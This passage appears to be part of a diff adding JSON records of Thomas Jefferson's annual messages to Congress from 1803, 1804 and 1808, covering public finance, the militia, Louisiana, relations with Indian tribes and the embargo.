burthen which the citizen can\nbear, it behooves us to avail ourselves of every occasion which presents\nitself for taking off the surcharge, that it never may be seen here that\nafter leaving to labor the smallest portion of its earnings on which it can\nsubsist, Government shall itself consume the whole residue of what it was\ninstituted to guard.In our care, too, of the public contributions intrusted to our direction it\nwould be prudent to multiply barriers against their dissipation by\nappropriating specific sums to every specific purpose susceptible of\ndefinition; by disallowing all applications of money varying from the\nappropriation in object or transcending it in amount; by reducing the\nundefined field of contingencies and thereby circumscribing discretionary\npowers over money, and by bringing back to a single department all\naccountabilities for money, where the examinations may be prompt,\nefficacious, and uniform.An account of the receipts and expenditures of the last year, as prepared\nby the Secretary of the Treasury, will, as usual, be laid before you. The\nsuccess which has attended the late sales of the public lands shews that\nwith attention they may be made an important source of receipt. Among the\npayments those made in discharge of the principal and interest of the\nnational debt will shew that the public faith has been exactly maintained.\nTo these will be added an estimate of appropriations necessary for the\nensuing year. This last will, of course, be affected by such modifications\nof the system of expense as you shall think proper to adopt.A statement has been formed by the Secretary of War, on mature\nconsideration, of all the posts and stations where garrisons will be\nexpedient and of the number of men requisite for each garrison. The whole\namount is considerably short of the present military establishment. For the\nsurplus no particular use can be pointed out.For defense against invasion their number is as nothing, nor is it\nconceived needful or safe that a standing army should be kept up in time of\npeace for that purpose. Uncertain as we must ever be of the particular\npoint in our circumference where an enemy may choose to invade us, the only\nforce which can be ready at every point and competent to oppose them is the\nbody of the neighboring citizens as formed into a militia. On these,\ncollected from the parts most convenient in numbers proportioned to the\ninvading force, it is best to rely not only to meet the first attack, but if\nit threatens to be permanent to maintain the defense until regulars may be\nengaged to relieve them. These considerations render it important that we\nshould at every session continue to amend the defects which from time to\ntime shew themselves in the laws for regulating the militia until they are\nsufficiently perfect. Nor should we now or at any time separate until we\nsay we have done everything for the militia which we could do were an enemy\nat our door.The provision of military stores on hand will be laid before you, that you\nmay judge of the additions still requisite.With respect to the extent to which our naval preparations should be\nexpected to appear, but just attention to the circumstances of every part\nof the Union will doubtless reconcile all. A small force will probably\ncontinue to be wanted for actual service in the Mediterranean. Whatever\nannual sum beyond that you may think proper to appropriate to naval\npreparations would perhaps be better employed in providing those articles\nwhich may be kept without waste or consumption, and be in readiness when\nany exigence calls them into use. Progress has been made, as will appear by\npapers now communicated, in providing materials for 74-gun ships as\ndirected by law.How far the authority given by the Legislature for procuring and\nestablishing sites for naval purposes has been perfectly understood and\npursued in the execution admits of some doubt. A statement of the expenses\nalready incurred on that subject is now laid before you. I have in certain\ncases suspended or slackened these expenditures, that the Legislature might\ndetermine whether so many yards are necessary as have been contemplated.The works at this place are among those permitted to go on, and 5 of the 7\nfrigates directed to be laid up have been brought and laid up here, where,\nbesides the safety of their position, they are under the eye of the\nExecutive Administration, as well as of its agents, and where yourselves\nalso will be guided by your own view in the legislative provisions\nrespecting them which may from time to time be necessary. They are\npreserved in such condition, as well the vessels as whatever belongs to\nthem, as to be at all times ready for sea on a short warning. Two others\nare yet to be laid up so soon as they shall have received the repairs\nrequisite to put them also into sound condition. As a superintending\nofficer will be necessary at each yard, his duties and emoluments, hitherto\nfixed by the Executive, will be a more proper subject for legislation. A\ncommunication will also be made of our progress in the execution of the law\nrespecting the vessels directed to be sold.The fortifications of our harbors, more or less advanced, present\nconsiderations of great difficulty. While some of them are on a scale\nsufficiently proportioned to the advantages of their position, to the\nefficacy of their protection, and the importance of the points within it,\nothers are so extensive, will cost so much in their first erection, so much\nin their maintenance, and require such a force to garrison them as to make\nit questionable what is best now to be done. A statement of those commenced\nor projected, of the expenses already incurred, and estimates of their\nfuture cost, as far as can be foreseen, shall be laid before you, that you\nmay be enabled to judge whether any alteration is necessary in the laws\nrespecting this subject.Agriculture, manufactures, commerce, and navigation, the four pillars of our\nprosperity, are then most thriving when left most free to individual\nenterprise. Protection from casual embarrassments, however, may sometimes\nbe seasonably interposed. If in the course of your observations or\ninquiries they should appear to need any aid within the limits of our\nconstitutional powers, your sense of their importance is a sufficient\nassurance they will occupy your attention. We can not, indeed, but all feel\nan anxious solicitude for the difficulties under which our carrying trade\nwill soon be placed. How far it can be relieved, otherwise than by time, is\na subject of important consideration.The judiciary system of the United States, and especially that portion of\nit recently erected, will of course present itself to the contemplation of\nCongress, and, that they may be able to judge of the proportion which the\ninstitution bears on the business it has to perform, I have caused to be\nprocured from the several States and now lay before Congress an exact\nstatement of all the causes decided since the first establishment of the\ncourts, and of those which were depending when additional courts and judges\nwere brought in to their aid.And while on the judiciary organization it will be worthy your\nconsideration whether the protection of the inestimable institution of\njuries has been extended to all the cases involving the security of our\npersons and property. Their impartial selection also being essential to\ntheir value, we ought further to consider whether that is sufficiently\nsecured in those States where they are named by a marshal depending on\nExecutive will or designated by the court or by officers dependent on\nthem.I can not omit recommending a revisal of the laws on the subject of\nnaturalization. Considering the ordinary chances of human life, a denial of\ncitizenship under a residence of 14 years is a denial to a great proportion\nof those who ask it, and controls a policy pursued from their first\nsettlement by many of these States, and still believed of consequence to\ntheir prosperity; and shall we refuse to the unhappy fugitives from\ndistress that hospitality which the savages of the wilderness extended to\nour fathers arriving in this land? Shall oppressed humanity find no asylum\non this globe? The Constitution indeed has wisely provided that for\nadmission to certain offices of important trust a residence shall be\nrequired sufficient to develop character and design. But might not the\ngeneral character and capabilities of a citizen be safely communicated to\neveryone manifesting a bona fide purpose of embarking his life and fortunes\npermanently with us, with restrictions, perhaps, to guard against the\nfraudulent usurpation of our flag, an abuse which brings so much\nembarrassment and loss on the genuine citizen and so much danger to the\nnation of being involved in war that no endeavor should be spared to detect\nand suppress it?These, fellow citizens, are the matters respecting the state of the nation\nwhich I have thought of importance to be submitted to your consideration at\nthis time. Some others of less moment or not yet ready for communication\nwill be the subject of separate messages. I am happy in this opportunity of\ncommitting the arduous affairs of our Government to the collected wisdom of\nthe Union. Nothing shall be wanting on my part to inform as far as in my\npower the legislative judgment, nor to carry that judgment into faithful\nexecution.The prudence and temperance of your discussions will promote within your\nown walls that conciliation which so much befriends rational conclusion,\nand by its example will encourage among our constituents that progress of\nopinion which is tending to unite them in object and in will. That all\nshould be satisfied with any one order of things is not to be expected; but\nI indulge the pleasing persuasion that the great body of our citizens will\ncordially concur in honest and disinterested efforts which have for their\nobject to preserve the General and State Governments in their\nconstitutional form and equilibrium; to maintain peace abroad, and order\nand obedience to the laws at home; to establish principles and practices of\nadministration favorable to the security of liberty and property, and to\nreduce expenses to what is necessary for the useful purposes of Government.", 
+    "name": "Thomas Jefferson"
+}
\ No newline at end of file
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+{
+    "date": "November 8, 1804", 
+    "speech": "The Senate and House of Representatives of the United States:To a people, fellow citizens, who sincerely desire the happiness and\nprosperity of other nations; to those who justly calculate that their own\nwell-being is advanced by that of the nations with which they have\nintercourse, it will be a satisfaction to observe that the war which was\nlighted up in Europe a little before our last meeting has not yet extended\nits flames to other nations, nor been marked by the calamities which\nsometimes stain the foot-steps of war. The irregularities, too, on the\nocean, which generally harass the commerce of neutral nations, have, in\ndistant parts, disturbed ours less than on former occasions; but in the\nAmerican seas they have been greater from peculiar causes, and even within\nour harbors and jurisdiction infringements on the authority of the laws\nhave been committed which have called for serious attention. The friendly\nconduct of the Governments from whose officers and subjects these acts have\nproceeded, in other respects and in places more under their observation and\ncontrol, gives us confidence that our representations on this subject will\nhave been properly regarded.While noticing the irregularities committed on the ocean by others, those\non our own part should not be omitted nor left unprovided for. Complaints\nhave been received that persons residing within the United States have\ntaken on themselves to arm merchant vessels and to force a commerce into\ncertain ports and countries in defiance of the laws of those countries.\nThat individuals should undertake to wage private war, independently of the\nauthority of their country, can not be permitted in a well-ordered society.\nIts tendency to produce aggression on the laws and rights of other nations\nand to endanger the peace of our own is so obvious that I doubt not you\nwill adopt measures for restraining it effectually in future.Soon after the passage of the act of the last session authorizing the\nestablishment of a district and port of entry on the waters of the Mobile\nwe learnt that its object was misunderstood on the part of Spain. Candid\nexplanations were immediately given and assurances that, reserving our\nclaims in that quarter as a subject of discussion and arrangement with\nSpain, no act was meditated in the mean time inconsistent with the peace\nand friendship existing between the two nations, and that conformably to\nthese intentions would be the execution of the law. That Government had,\nhowever, thought proper to suspend the ratification of the convention of\n1802; but the explanations which would reach them soon after, and still\nmore the confirmation of them by the tenor of the instrument establishing\nthe port and district, may reasonably be expected to replace them in the\ndispositions and views of the whole subject which originally dictated the\nconvention.I have the satisfaction to inform you that the objections which had been\nurged by that Government against the validity of our title to the country\nof Louisiana have been withdrawn, its exact limits, however, remaining\nstill to be settled between us; and to this is to be added that, having\nprepared and delivered the stock created in execution of the convention of\nParis of April 30th, 1803, in consideration of the cession of that\ncountry, we have received from the Government of France an acknowledgment,\nin due form, of the fulfillment of that stipulation.With the nations of Europe in general our friendship and intercourse are\nundisturbed, and from the Governments of the belligerent powers especially\nwe continue to receive those friendly manifestations which are justly due\nto an honest neutrality and to such good offices consistent with that as we\nhave opportunities of rendering.The activity and success of the small force employed in the Mediterranean\nin the early part of the present year, the reenforcements sent into that\nsea, and the energy of the officers having command in the several vessels\nwill, I trust, by the sufferings of war, reduce the barbarians of Tripoli\nto the desire of peace on proper terms. Great injury, however, ensues to\nourselves, as well as to others interested, from the distance to which\nprizes must be brought for adjudication and from the impracticability of\nbringing hither such as are not sea worthy.The Bey of Tunis having made requisitions unauthorized by our treaty, their\nrejection has produced from him some expressions of discontent, but to\nthose who expect us to calculate whether a compliance with unjust demands\nwill not cost us less than a war we must leave as a question of calculation\nfor them also whether to retire from unjust demands will not cost them less\nthan a war. We can do to each other very sensible injuries by war, but the\nmutual advantages of peace make that the best interest of both.Peace and intercourse with the other powers on the same coast continue on\nthe footing on which they are established by treaty.In pursuance of the act providing for the temporary government of\nLouisiana, the necessary officers for the Territory of Orleans were\nappointed in due time to commence the exercise of their functions on the\nfirst day of October. The distance, however, of some of them and\nindispensable previous arrangements may have retarded its commencement in\nsome of its parts. The form of government thus provided having been\nconsidered but as temporary, and open to such future improvements as\nfurther information of the circumstances of our brethren there might\nsuggest, it will of course be subject to your consideration.In the district of Louisiana it has been thought best to adopt the division\ninto subordinate districts which had been established under its former\ngovernment. These being five in number, a commanding officer has been\nappointed to each, according to the provisions of the law, and so soon as\nthey can be at their stations that district will also be in its due state\nof organization. In the mean time, their places are supplied by the\nofficers before commanding there, and the function of the governor and\njudges of Indiana having commenced, the government, we presume, is\nproceeding in its new form. The lead mines in that district offer so rich a\nsupply of that metal as to merit attention. The report now communicated\nwill inform you of their state and of the necessity of immediate inquiry\ninto their occupation and titles.With the Indian tribes established within our newly acquired limits, I have\ndeemed it necessary to open conferences for the purpose of establishing a\ngood understanding and neighborly relations between us. So far as we have\nyet learned, we have reason to believe that their dispositions are\ngenerally favorable and friendly; and with these dispositions on their\npart, we have in our own hands means which can not fail us for preserving\ntheir peace and friendship. By pursuing an uniform course of justice toward\nthem, by aiding them in all the improvements which may better their\ncondition, and especially by establishing a commerce on terms which shall\nbe advantageous to them and only not losing to us, and so regulated as that\nno incendiaries of our own or any other nation may be permitted to disturb\nthe natural effects of our just and friendly offices, we may render\nourselves so necessary to their comfort and prosperity that the protection\nof our citizens from their disorderly members will become their interest\nand their voluntary care. Instead, therefore, of an augmentation of\nmilitary force proportioned to our extension of frontier, I propose a\nmoderate enlargement of the capital employed in that commerce as a more\neffectual, economical, and humane instrument for preserving peace and good\nneighborhood with them.On this side of the Mississippi an important relinquishment of native title\nhas been received from the Delawares. That tribe, desiring to extinguish in\ntheir people the spirit of hunting and to convert superfluous lands into\nthe means of improving what they retain, has ceded to us all the country\nbetween the Wabash and Ohio south of and including the road from the rapids\ntoward Vincennes, for which they are to receive annuities in animals and\nimplements for agriculture and in other necessaries. This acquisition is\nimportant, not only for its extent and fertility, but as fronting three\nhundred miles on the Ohio, and near half that on the Wabash. The produce\nof the settled country descending those rivers will no longer pass in\nreview of the Indian frontier but in a small portion, and, with the\ncession heretofore made by the Kaskaskias, nearly consolidates our\npossessions north of the Ohio, in a very respectable breadth--from Lake\nErie to the Mississippi. The Piankeshaws having some claim to the country\nceded by the Delawares, it has been thought best to quiet that by fair\npurchase also. So soon as the treaties on this subject shall have received\ntheir constitutional sanctions they shall be laid before both houses.The act of Congress of February 28th, 1803, for building and employing a\nnumber of gun boats, is now in a course of execution to the extent there\nprovided for. The obstacle to naval enterprise which vessels of this\nconstruction offer for our sea port towns, their utility toward supporting\nwithin our waters the authority of the laws, the promptness with which they\nwill be manned by the sea men and militia of the place in the moment they\nare wanting, the facility of their assembling from different parts of the\ncoast to any point where they are required in greater force than ordinary,\nthe economy of their maintenance and preservation from decay when not in\nactual service, and the competence of our finances to this defensive\nprovision without any new burthen are considerations which will have due\nweight with Congress in deciding on the expediency of adding to their\nnumber from year to year, as experience shall test their utility, until all\nour important harbors, by these and auxiliary means, shall be secured\nagainst insult and opposition to the laws.No circumstance has arisen since your last session which calls for any\naugmentation of our regular military force. Should any improvement occur in\nthe militia system, that will be always seasonable.Accounts of the receipts and expenditures of the last year, with estimates\nfor the ensuing one, will as usual be laid before you.The state of our finances continues to fulfill our expectations. $11.5\nmillions, received in the course of the year ending the 30th of September\nlast, have enabled us, after meeting all the ordinary expenses of the\nyear, to pay upward of $3.6 millions of the public debt, exclusive of\ninterest. This payment, with those of the two preceding years, has\nextinguished upward of $12 millions of the principal and a greater sum\nof interest within that period, and by a proportionate diminution of\ninterest renders already sensible the effect of the growing sum yearly\napplicable to the discharge of the principal.It is also ascertained that the revenue accrued during the last year\nexceeds that of the preceding, and the probable receipts of the ensuing\nyear may safely be relied on as sufficient, with the sum already in the\nTreasury, to meet all the current demands of the year, to discharge upward\nof $3.5 millions of the engagements incurred under the British and French\nconventions, and to advance in the further redemption of the funded debt as\nrapidly as had been contemplated.These, fellow citizens, are the principal matters which I have thought it\nnecessary at this time to communicate for your consideration and attention.\nSome others will be laid before you in the course of the session; but in\nthe discharge of the great duties confided to you by our country you will\ntake a broader view of the field of legislation.Whether the great interests of agriculture, manufactures, commerce, or\nnavigation can within the pale of your constitutional powers be aided in\nany of their relations; whether laws are provided in all cases where they\nare wanting; whether those provided are exactly what they should be; whether\nany abuses take place in their administration, or in that of the public\nrevenues; whether the organization of the public agents or of the public\nforce is perfect in all its parts; in fine, whether anything can be done to\nadvance the general good, are questions within the limits of your functions\nwhich will necessarily occupy your attention. In these and all other\nmatters which you in your wisdom may propose for the good of our country,\nyou may count with assurance on my hearty cooperation and faithful\nexecution.TH. JEFFERSON", 
+    "name": "Thomas Jefferson"
+}
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+{
+    "date": "November 8, 1808", 
+    "speech": "The Senate and House of Representatives of the United States:It would have been a source, fellow citizens, of much gratification if our\nlast communications from Europe had enabled me to inform you that the\nbelligerent nations, whose disregard of neutral rights has been so\ndestructive to our commerce, had become awakened to the duty and true\npolicy of revoking their unrighteous edicts. That no means might be omitted\nto produce this salutary effect, I lost no time in availing myself of the\nact authorizing a suspension, in whole or in part, of the several embargo\nlaws. Our ministers at London and Paris were instructed to explain to the\nrespective Governments there our disposition to exercise the authority in\nsuch manner as would withdraw the pretext on which the aggressions were\noriginally founded and open the way for a renewal of that commercial\nintercourse which it was alleged on all sides had been reluctantly\nobstructed.As each of those Governments had pledged its readiness to concur in\nrenouncing a measure which reached its adversary through the incontestable\nrights of neutrals only, and as the measure had been assumed by each as a\nretaliation for an asserted acquiescence in the aggression of the other, it\nwas reasonably expected that the occasion would have been seized by both\nfor evincing the sincerity of their professions, and for restoring to the\ncommerce of the United States its legitimate freedom. The instructions to\nour ministers with respect to the different belligerents were necessarily\nmodified with a reference to their different circumstances, and to the\ncondition annexed by law to the Executive power of suspension, requiring a\ndecree of security to our commerce which would not result from a repeal of\nthe decrees of France. Instead of a pledge, therefore, of a suspension of\nthe embargo as to her in case of such a repeal, it was presumed that a\nsufficient inducement might be found in other considerations, and\nparticularly in the change produced by a compliance with our just demands\nby one belligerent and a refusal by the other in the relations between the\nother and the United States.To Great Britain, whose power on the ocean is so ascendant, it was deemed\nnot inconsistent with that condition to state explicitly that on her\nrescinding her orders in relation to the United States their trade would be\nopened with her, and remain shut to her enemy in case of his failure to\nrescind his decrees also. From France no answer has been received, nor any\nindication that the requisite change in her decrees is contemplated. The\nfavorable reception of the proposition to Great Britain was the less to be\ndoubted, as her orders of council had not only been referred for their\nvindication to an acquiescence on the part of the United States no longer\nto be pretended, but as the arrangement proposed, whilst it resisted the\nillegal decrees of France, involved, moreover, substantially the precise\nadvantages professedly aimed at by the British orders. The arrangement has\nnevertheless been rejected.This candid and liberal experiment having thus failed, and no other event\nhaving occurred on which a suspension of the embargo by the Executive was\nauthorized, it necessarily remains in the extent originally given to it. We\nhave the satisfaction, however, to reflect that in return for the\nprivations imposed by the measure, and which our fellow citizens in general\nhave borne with patriotism, it has had the important effects of saving our\nmariners and our vast mercantile property, as well as of affording time for\nprosecuting the defensive and provisional measures called for by the\noccasion. It has demonstrated to foreign nations the moderation and\nfirmness which govern our councils, and to our citizens the necessity of\nuniting in support of the laws and the rights of their country, and has\nthus long frustrated those usurpations and spoliations which, if resisted,\ninvolved war; if submitted to, sacrificed a vital principle of our national\nindependence.Under a continuance of the belligerent measures which, in defiance of laws\nwhich consecrate the rights of neutrals, overspread the ocean with danger,\nit will rest with the wisdom of Congress to decide on the course best\nadapted to such a state of things; and bringing with them, as they do, from\nevery part of the Union the sentiments of our constituents, my confidence\nis strengthened that in forming this decision they will, with an unerring\nregard to the essential rights and interests of the nation, weigh and\ncompare the painful alternatives out of which a choice is to be made. Nor\nshould I do justice to the virtues which on other occasions have marked the\ncharacter of our fellow citizens if I did not cherish an equal confidence\nthat the alternative chosen, whatever it may be, will be maintained with\nall the fortitude and patriotism which the crisis ought to inspire.The documents containing the correspondences on the subject of the foreign\nedicts against our commerce, with the instructions given to our ministers\nat London and Paris, are now laid before you.The communications made to Congress at their last session explained the\nposture in which the close of the discussions relating to the attack by a\nBritish ship of war on the frigate Chesapeake left a subject on which the\nnation had manifested so honorable a sensibility. Every view of what had\npassed authorized a belief that immediate steps would be taken by the\nBritish Government for redressing a wrong which the more it was\ninvestigated appeared the more clearly to require what had not been\nprovided for in the special mission. It is found that no steps have been\ntaken for the purpose. On the contrary, it will be seen in the documents\nlaid before you that the inadmissible preliminary which obstructed the\nadjustment is still adhered to, and, moreover, that it is now brought into\nconnection with the distinct and irrelative case of the orders in council.\nThe instructions which had been given to our minister at London with a view\nto facilitate, if necessary, the reparation claimed by the United States\nare included in the documents communicated.Our relations with the other powers of Europe have undergone no material\nchanges since your last session. The important negotiations with Spain\nwhich had been alternately suspended and resumed necessarily experience a\npause under the extraordinary and interesting crisis which distinguishes\nher internal situation.With the Barbary Powers we continue in harmony, with the exception of an\nunjustifiable proceeding of the Dey of Algiers toward our consul to that\nRegency. Its character and circumstances are now laid before you, and will\nenable you to decide how far it may, either now or hereafter, call for any\nmeasures not within the limits of the Executive authority.With our Indian neighbors the public peace has been steadily maintained.\nSome instances of individual wrong have, as at other times, taken place,\nbut in no wise implicating the will of the nation. Beyond the Mississippi\nthe Ioways, the Sacs and the Alabamas have delivered up for trial and\npunishment individuals from among themselves accused of murdering citizens\nof the United States. On this side of the Mississippi the Creeks are\nexerting themselves to arrest offenders of the same kind, and the Choctaws\nhave manifested their readiness and desire for amicable and just\narrangements respecting depredations committed by disorderly persons of\ntheir tribe. And, generally, from a conviction that we consider them as a\npart of ourselves, and cherish with sincerity their rights and interests,\nthe attachment of the Indian tribes is gaining strength daily--is\nextending from the nearer to the more remote, and will amply requite us for\nthe justice and friendship practiced toward them. Husbandry and household\nmanufacture are advancing among them more rapidly with the Southern than\nNorthern tribes, from circumstances of soil and climate, and one of the two\ngreat divisions of the Cherokee Nation have now under consideration to\nsolicit the citizenship of the United States, and to be identified with us\nin laws and government in such progressive manner as we shall think best.In consequence of the appropriations of the last session of Congress for\nthe security of our sea port towns and harbors, such works of defense have\nbeen erected as seemed to be called for by the situation of the several\nplaces, their relative importance, and the scale of expense indicated by\nthe amount of the appropriation. These works will chiefly be finished in\nthe course of the present season, except at New York and New Orleans, where\nmost was to be done; and although a great proportion of the last\nappropriation has been expended on the former place, yet some further views\nwill be submitted to Congress for rendering its security entirely adequate\nagainst naval enterprise. A view of what has been done at the several\nplaces, and of what is proposed to be done, shall be communicated as soon\nas the several reports are received.Of the gun boats authorized by the act of December last, it has been\nthought necessary to build only one hundred and three in the present year.\nThese, with those before possessed, are sufficient for the harbors and\nwaters most exposed, and the residents will require little time for their\nconstruction when it shall be deemed necessary.Under the act of the last session for raising an additional military force\nso many officers were immediately appointed as were necessary for carrying\non the business of recruiting, and in proportion as it advanced others have\nbeen added. We have reason to believe their success has been satisfactory,\nalthough such returns have not yet been received as enable me to present\nyou a statement of the numbers engaged.I have not thought it necessary in the course of the last season to call\nfor any general detachments of militia or of volunteers under the laws\npassed for that purpose. For the ensuing season, however, they will be\nrequired to be in readiness should their service be wanted. Some small and\nspecial detachments have been necessary to maintain the laws of embargo on\nthat portion of our northern frontier which offered peculiar facilities for\nevasion, but these were replaced as soon as it could be done by bodies of\nnew recruits. By the aid of these and of the armed vessels called into\nservice in other quarters the spirit of disobedience and abuse, which\nmanifested itself early and with sensible effect while we were unprepared\nto meet it, has been considerably repressed.Considering the extraordinary character of the times in which we live, our\nattention should unremittingly be fixed on the safety of our country. For a\npeople who are free, and who mean to remain so, a well organized and armed\nmilitia is their best security. It is therefore incumbent on us at every\nmeeting to revise the condition of the militia, and to ask ourselves if it\nis prepared to repel a powerful enemy at every point of our territories\nexposed to invasion. Some of the States have paid a laudable attention to\nthis object, but every degree of neglect is to be found among others.\nCongress alone having the power to produce an uniform state of preparation\nin this great organ of defense, the interests which they so deeply feel in\ntheir own and their country's security will present this as among the most\nimportant objects of their deliberation.Under the acts of March 11th and April 23rd respecting arms, the\ndifficulty of procuring them from abroad during the present situation\nand dispositions of Europe induced us to direct our whole efforts to the\nmeans of internal supply. The public factories have therefore been\nenlarged, additional machineries erected, and, in proportion as\nartificers can be found or formed, their effect, already more than\ndoubled, may be increased so as to keep pace with the yearly increase\nof the militia. The annual sums appropriated by the latter have been\ndirected to the encouragement of private factories of arms, and contracts\nhave been entered into with individual undertakers to nearly the amount\nof the first year's appropriation.The suspension of our foreign commerce, produced by the injustice of the\nbelligerent powers and the consequent losses and sacrifices of our citizens\nare subjects of just concern. The situation into which we have thus been\nforced has impelled us to apply a portion of our industry and capital to\ninternal manufactures and improvements. The extent of this conversion is\ndaily increasing, and little doubt remains that the establishments formed\nand forming will, under the auspices of cheaper materials and subsistence,\nthe freedom of labor from taxation with us, and of protecting duties and\nprohibitions, become permanent. The commerce with the Indians, too, within\nour own boundaries is likely to receive abundant aliment from the same\ninternal source, and will secure to them peace and the progress of\ncivilization, undisturbed by practices hostile to both.The accounts of the receipts and expenditures during the year ending the\n30th of September last being not yet made up, a correct statement will\nhereafter be transmitted from the Treasury. In the mean time it is\nascertained that the receipts have amounted to near $18 millions, which,\nwith the $8.5 millions in the Treasury at the beginning of the year, have\nenabled us, after meeting the current demands and interest incurred, to\npay $2.3 millions of the principal of our funded debt, and left us in\nthe Treasury on that day near $14 millions. Of these, $5.35 millions will\nbe necessary to pay what will be due on the 1st day of January next, which\nwill complete the reimbursement of the 8% stock. These payments, with\nthose made in the six and a half years preceding, will have extinguished\n$33.58 millions of the principal of the funded debt, being the whole which\ncould be paid or purchased within the limits of the law and of our\ncontracts, and the amount of principal thus discharged will have liberated\nthe revenue from about $2 millions of interest and added that sum annually\nto the disposable surplus.The probable accumulation of the surpluses of revenue beyond what can be\napplied to the payment of the public debt whenever the freedom and safety\nof our commerce shall be restored merits the consideration of Congress.\nShall it lie unproductive in the public vaults? Shall the revenue be\nreduced? Or shall it not rather be appropriated to the improvements of\nroads, canals, rivers, education, and other great foundations of prosperity\nand union under the powers which Congress may already possess or such\namendment to the Constitution as may be approved by the States? While\nuncertain of the course of things, the time may be advantageously employed\nin obtaining the powers necessary for a system of improvement, should that\nbe thought best.Availing myself of this the last occasion which will occur of addressing\nthe two Houses of the Legislature at their meeting, I can not omit the\nexpression of my sincere gratitude for the repeated proofs of confidence\nmanifested to me by themselves and their predecessors since my call to the\nadministration and the many indulgences experienced at their hands. These\nsame grateful acknowledgements are due to my fellow citizens generally,\nwhose support has been my great encouragement under all embarrassments. In\nthe transaction of their business I can not have escaped error. It is\nincident to our imperfect nature. But I may say with truth my errors have\nbeen of the understanding, not of intention, and that the advancement of\ntheir rights and interests has been the constant motive for every measure.\nOn these considerations I solicit their indulgence. Looking forward with\nanxiety to future destinies, I trust that in their steady character,\nunshaken by difficulties, in their love of liberty, obedience to law, and\nsupport of the public authorities, I see a sure guaranty of the permanence\nof our Republic; and, retiring from the charge of their affairs, I carry\nwith me the consolation of a firm persuasion that Heaven has in store for\nour beloved country long ages to come of prosperity and happiness.TH. JEFFERSON", 
+    "name": "Thomas Jefferson"
+}
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+{
+    "date": "October 17, 1803", 
+    "speech": "To The Senate and House of Representatives of the United States:In calling you together, fellow citizens, at an earlier day than was\ncontemplated by the act of the last session of Congress, I have not been\ninsensible to the personal inconveniences necessarily resulting from an\nunexpected change in your arrangements, but matters of great public\nconcernment have rendered this call necessary, and the interests you feel\nin these will supersede in your minds all private considerations.Congress witnessed at their late session the extraordinary agitation\nproduced in the public mind by the suspension of our right of deposit at\nthe port of New Orleans, no assignment of another place having been made\naccording to treaty. They were sensible that the continuance of that\nprivation would be more injurious to our nation than any consequences which\ncould flow from any mode of redress, but reposing just confidence in the\ngood faith of the Government whose officer had committed the wrong,\nfriendly and reasonable representations were resorted to, and the right of\ndeposit was restored.Previous, however, to this period we had not been unaware of the danger to\nwhich our peace would be perpetually exposed whilst so important a key to\nthe commerce of the Western country remained under foreign power.\nDifficulties, too, were presenting themselves as to the navigation of other\nstreams which, arising within our territories, pass through those adjacent.\nPropositions had therefore been authorized for obtaining on fair conditions\nthe sovereignty of New Orleans and of other possessions in that quarter\ninteresting to our quiet to such extent as was deemed practicable, and the\nprovisional appropriation of $2 millions to be applied and accounted\nfor by the President of the United States, intended as part of the price,\nwas considered as conveying the sanction of Congress to the acquisition\nproposed. The enlightened Government of France saw with just discernment\nthe importance to both nations of such liberal arrangements as might best\nand permanently promote the peace, friendship, and interests of both, and\nthe property and sovereignty of all Louisiana which had been restored to\nthem have on certain conditions been transferred to the United States by\ninstruments bearing date the 30th of April last. When these shall have\nreceived the constitutional sanction of the Senate, they will without delay\nbe communicated to the Representatives also for the exercise of their\nfunctions as to those conditions which are within the powers vested by the\nConstitution in Congress.Whilst the property and sovereignty of the Mississippi and its waters\nsecure an independent outlet for the produce of the Western States and an\nuncontrolled navigation through their whole course, free from collision\nwith other powers and the dangers to our peace from that source, the\nfertility of the country, its climate and extent, promise in due season\nimportant aids to our Treasury, an ample provision for our posterity, and a\nwide spread for the blessings of freedom and equal laws.With the wisdom of Congress it will rest to take those ulterior measures\nwhich may be necessary for the immediate occupation and temporary\ngovernment of the country; for its incorporation into our Union; for\nrendering the change of government a blessing to our newly adopted\nbrethren; for securing to them the rights of conscience and of property;\nfor confirming to the Indian inhabitants their occupancy and\nself-government, establishing friendly and commercial relations with them,\nand for ascertaining the geography of the country acquired. Such materials,\nfor your information, relative to its affairs in general as the short space\nof time has permitted me to collect will be laid before you when the\nsubject shall be in a state for your consideration.Another important acquisition of territory has also been made since the\nlast session of Congress. The friendly tribe of Kaskaskia Indians, with\nwhich we have never had a difference, reduced by the wars and wants of\nsavage life to a few individuals unable to defend themselves against the\nneighboring tribes, has transferred its country to the United States,\nreserving only for its members what is sufficient to maintain them in an\nagricultural way. The considerations stipulated are that we shall extend to\nthem our patronage and protection and give them certain annual aids in\nmoney, in implements of agriculture, and other articles of their choice.\nThis country, among the most fertile within our limits, extending along the\nMississippi from the mouth of the Illinois to and up to the Ohio, though\nnot so necessary as a barrier since the acquisition of the other bank, may\nyet be well worthy of being laid open to immediate settlement, as its\ninhabitants may descend with rapidity in support of the lower country\nshould future circumstances expose that to foreign enterprise. As the\nstipulations in this treaty involve matters with the competence of both\nHouses only, it will be laid before Congress as soon as the Senate shall\nhave advised its ratification.With many of the other Indian tribes improvements in agriculture and\nhousehold manufacture are advancing, and with all our peace and friendship\nare established on grounds much firmer than heretofore. The measure adopted\nof establishing trading houses among them and of furnishing them\nnecessaries in exchange for their commodities at such moderate prices as\nleave no gain, but cover us from loss, has the most conciliatory and useful\neffect on them, and is that which will best secure their peace and good\nwill.The small vessels authorized by Congress with a view to the Mediterranean\nservice have been sent into that sea, and will be able more effectually to\nconfine the Tripoline cruisers within their harbors and supersede the\nnecessity of convoy to our commerce in that quarter. They will sensibly\nlessen the expenses of that service the ensuing year.A further knowledge of the ground in the northeastern and northwestern\nangles of the United States has evinced that the boundaries established by\nthe treaty of Paris between the British territories and ours in those parts\nwere too imperfectly described to be susceptible of execution. It has\ntherefore been thought worthy of attention for preserving and cherishing\nthe harmony and useful intercourse subsisting between the two nations to\nremove by timely arrangements what unfavorable incidents might otherwise\nrender a ground of future misunderstanding. A convention has therefore been\nentered into which provides for a practicable demarcation of those limits\nto the satisfaction of both parties.An account of the receipts and expenditures of the year ending the 30th of\nSeptember last, with the estimates for the service of the ensuing year,\nwill be laid before you by the Secretary of the Treasury so soon as the\nreceipts of the last quarter shall be returned from the more distant\nStates. It is already ascertained that the amount paid into the Treasury\nfor that year has been between $11 millions and $12 millions, and that the\nrevenue accrued during the same term exceeds the sum counted on as\nsufficient for our current expenses and to extinguish the public debt\nwithin the period heretofore proposed.The amount of debt paid for the same year is about $3.1 millions exclusive\nof interest, and making, with the payment of the preceding year, a\ndischarge of more than $8.5 millions of the principal of that debt,\nbesides the accruing interest; and there remain in the Treasury nearly\n$6 millions. Of these, $880 thousands have been reserved for payment of\nthe first installment due under the British convention of January 8th,\n1802, and $2 millions are what have been before mentioned as placed 